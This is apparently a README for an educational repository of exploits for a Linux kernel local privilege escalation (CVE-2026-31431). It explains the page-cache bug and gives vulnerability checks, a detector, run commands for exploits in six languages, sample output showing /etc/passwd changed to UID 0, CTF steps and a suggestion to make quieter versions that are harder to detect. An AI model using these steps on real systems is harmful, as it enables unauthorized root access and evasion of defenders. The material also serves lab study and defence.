
Multi-language educational exploit implementations for CVE-2026-31431, a Linux kernel local privilege escalation via the algif_aead module, with a safe detector and CTF usage guidance.
教育用リポジトリ。Copy Fail エクスプロイトの複数言語実装を収録。
作成・保守: @shotafry — CVE を読むだけでは不十分。再現してこそ意味がある。
Copy Fail は、Linux カーネルにおけるローカル権限昇格 (LPE) の脆弱性で、CVE-2026-31431 として登録されています。これはカーネルの暗号サブシステム、具体的には AF_ALG ソケットを介して認証付き暗号化 (AEAD) 操作を処理する algif_aead モジュールに影響します。
この欠陥は 2017年 に authencesn モジュールの最適化で導入され、ほぼすべての最新 Linux ディストリビューションに存在しながら、約9年間検出されずにいました。
Copy Fail を他の歴史的な LPE と特別にしている点:
| 特徴 | Copy Fail | 典型的な LPE |
|---|---|---|
| レースコンディションが必要 | ❌ いいえ | ✅ はい |
| 特定のカーネルオフセットが必要 | ❌ いいえ | ✅ はい |
| すべてのディストリで動作 | ✅ はい | ❌ 通常は不可 |
| 信頼性 | 100% 決定的 | 変動あり |
| ディスクを変更する | ❌ いいえ (RAM のみ) | 場合による |
この脆弱性は、Theori の研究チームの Taeyang Lee によって発見されました。完全なエクスプロイトチェーンは Xint Code Research チームによって開発され、Linux カーネルの crypto/ サブシステムに対する AI 支援分析を用いたプロセスが文書化されました。
公開情報には、動作する PoC、完全な技術分析、および copy.fail のドキュメントが含まれます。
CVE: CVE-2026-31431
CVSS: 7.8 — 高 (HIGH)
ベクター: ローカル
影響: 完全な権限昇格 (root)
ディストリ: パッチ未適用の 2017 年以降のカーネルを搭載するすべての Linux ディストリビューション
CVSS は 7.8 で、事前のローカルアクセスが必要なためだけに Critical (9+) には達していません — 攻撃者はすでにシステム上でセッションを持っている必要があります。クラウド環境や Docker コンテナでは、この要件は見た目よりもはるかに満たしやすいものです。
Linux カーネルは、最近読み取ったファイルを RAM に保持します。これを ページキャッシュ と呼びます。プロセスが /etc/passwd を読み取ると、カーネルはディスクにアクセスせず、RAM 内のコピーを提供します。これは高速ですが、攻撃対象領域を生み出します: ディスクに触れずに RAM 内のコピーを変更できれば、システムは偽のデータを見ることになります。
algif_aead モジュールは、AF_ALG ソケットを介してユーザー空間から AEAD 操作を実行できるようにします。バグは 2017 年に導入された最適化にあります: splice() を使用してファイルのページをソケットに渡すと、ページキャッシュのそれらのページが暗号操作の 宛先 (書き込み可能な) 分散リストに含まれてしまいます。
結果: 権限のないユーザーは、読み取り可能な任意のファイルに 4 バイトの制御されたデータ を、ディスクに触れることなく書き込むことができます。
権限のないユーザー
│
▼
AF_ALG ソケットを開く (authencesn)
│
▼
sendmsg() — seqno_lo に 4 バイトを設定した AEAD パラメータ
│
▼
splice() — ファイル → パイプ → ソケット op
[バグ] ファイルのページキャッシュが宛先 scatterlist に残る
│
▼
recv() が AEAD 操作をトリガー
認証は失敗する (EBADMSG) が、スクラッチ書き込みはすでに発生
│
▼
/etc/passwd (ページキャッシュ) が変更される: ユーザー → UID 0
│
▼
su <ユーザー> → PAM が実際のパスワードを検証 → setuid(0) → ROOT
カーネルが城の登記簿 (/etc/passwd) を持っていると想像してください。Copy Fail は、城の魔法工房を特定の順序で開くと、登記簿が偶然あなたの作業台に置かれたままになり、ペンで自分の階級を「兵卒」から「王」に変更できることを発見するようなものです。記録係 (PAM) はあなたのパスワードを確認しますが、原本ではなく、目の前にあるコピーのみを確認します。あなたは王です。

>= ~2017algif_aead モジュールが利用可能でロード可能であることこれは実際にはスキップしてエクスプロイトのいずれかを直接試すこともできますが、エクスプロイトをアップロードまたは作成するリスクを冒したくなく、動作するかどうかだけを確認したい場合にも有効です。ただし、エクスプロイトには対象システムが脆弱かどうかを確認する機能が備わっています。
# カーネルバージョンを確認
uname -a
# アルゴリズムが利用可能か確認
grep -i authencesn /proc/crypto
# モジュールがロードされているか確認
lsmod | grep alg
grep -i authencesn /proc/crypto が authencesn(hmac(sha256),cbc(aes)) を返す場合、システムは脆弱です。
| 言語 | 対象側の要件 | 事前コンパイル |
|---|---|---|
| C | なし (静的バイナリ) | コンパイルマシンに gcc |
| Python | Python 3.10+ | 不要 |
| Rust | なし (静的バイナリ) | コンパイルマシンに rustc |
| Go | なし (静的バイナリ) | コンパイルマシンに go |
| Ruby | Ruby + gem fiddle (デフォルトで同梱) | 不要 |
| Perl | Perl 5 (ほぼすべての Linux に同梱) | 不要 |
このリポジトリには、6言語 で実装されたエクスプロイトが含まれており、すべて機能的に同等で、スペイン語の教育的なコメントが付いています。
copy_fail_exploit.c → C — 静的バイナリ、依存関係ゼロ
copy_fail_exploit.py → Python — 最も読みやすく、学習に最適
copy_fail_exploit.rs → Rust — 皮肉: 「安全な」言語がカーネルを攻撃
copy_fail_exploit.go → Go — 静的バイナリ、非常に移植性が高い
copy_fail_exploit.rb → Ruby — Rails サーバーで広く普及
copy_fail_exploit.pl → Perl — 最も静か、すべての Linux に存在
test_cve_2026_31431.py → 検出器 — 何も攻撃せずに脆弱性を検証
python3 test_cve_2026_31431.py
# コンパイル
gcc copy_fail_exploit.c -o copy_fail_c
# ドライラン (終了時にクリーンアップ、痕跡を残さない)
./copy_fail_c
# 完全なエクスプロイト
./copy_fail_c --shell
# ドライラン
python3 copy_fail_exploit.py
# 完全なエクスプロイト
python3 copy_fail_exploit.py --shell
# コンパイル
rustc copy_fail_exploit.rs -o copy_fail_rs
# ドライラン
./copy_fail_rs
# 完全なエクスプロイト
./copy_fail_rs --shell
# コンパイル
go build -o copy_fail_go copy_fail_exploit.go
# ドライラン
./copy_fail_go
# 完全なエクスプロイト
./copy_fail_go --shell
# ドライラン
ruby copy_fail_exploit.rb
# 完全なエクスプロイト
ruby copy_fail_exploit.rb --shell
# ドライラン
perl copy_fail_exploit.pl
# 完全なエクスプロイト
perl copy_fail_exploit.pl --shell
# Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source ~/.cargo/env
# Go
apt install golang-go
# Ruby (Kali には通常プリインストールされています)
apt install ruby
# Perl (ほぼ常に存在)
perl --version
エクスプロイトを起動した後 (su の前に)、ページキャッシュの変更を視覚的に確認できます:
# ターミナル 1: リアルタイム監視
watch -n 0.5 'grep tuusuario /etc/passwd'
# ターミナル 2: エクスプロイトを起動
python3 copy_fail_exploit.py --shell
UID フィールドが 1000 から 0000 にリアルタイムで変化するのがわかります。su の後:
id
# uid=0(root) gid=0(root) groups=0(root)
再起動せずにクリーンアップするには (root シェルから):
echo 3 > /proc/sys/vm/drop_caches
[*] CVE-2026-31431 LPE usuario=shotafry uid=1000
[*] /etc/passwd: usuario 'shotafry' — campo UID en offset 3118 = '1000'
[*] Aplicando write4: '1000' -> '0000' en la page cache...
[+] Page cache ahora muestra UID 0 en offset 3118
[+] /etc/passwd (page cache) ahora lista a shotafry como UID 0
[+] Ejecuta: su shotafry
[+] Introduce tu contraseña. su hará setuid(0) → shell root.
ディスクは 決して 変更されません。再起動または drop_caches により、すべてが元の状態に復元されます。
Copy Fail は、カーネルがパッチ未適用のあらゆる CTF や Linux の権限昇格ラボに関連します。
algif_aead モジュールはハードニング環境で無効化されている可能性がある — 検出器が AF_ALG ステップで失敗した場合は、別のベクターを探す# 1. カーネルを確認
uname -a
# 2. 検出器
python3 test_cve_2026_31431.py
# 3. 脆弱な場合、エクスプロイト
python3 copy_fail_exploit.py --shell
# 4. 後にクリーンアップ
echo 3 > /proc/sys/vm/drop_caches
このリポジトリの実装は、教育的な設計によりコメントが付けられ、冗長です。実際のペンテストの文脈では、よりサイレントなバージョンが必要になるでしょう。
エクスプロイトの核となるのは 5 つの syscall です: socket、bind、setsockopt、sendmsg、splice。その他はすべて装飾です。サイレントバージョンはすべての出力を排除し、コードを機能的最小限にまで削減します。
# Versión compacta sin output — misma funcionalidad, menor superficie de detección
import os, socket, struct, pwd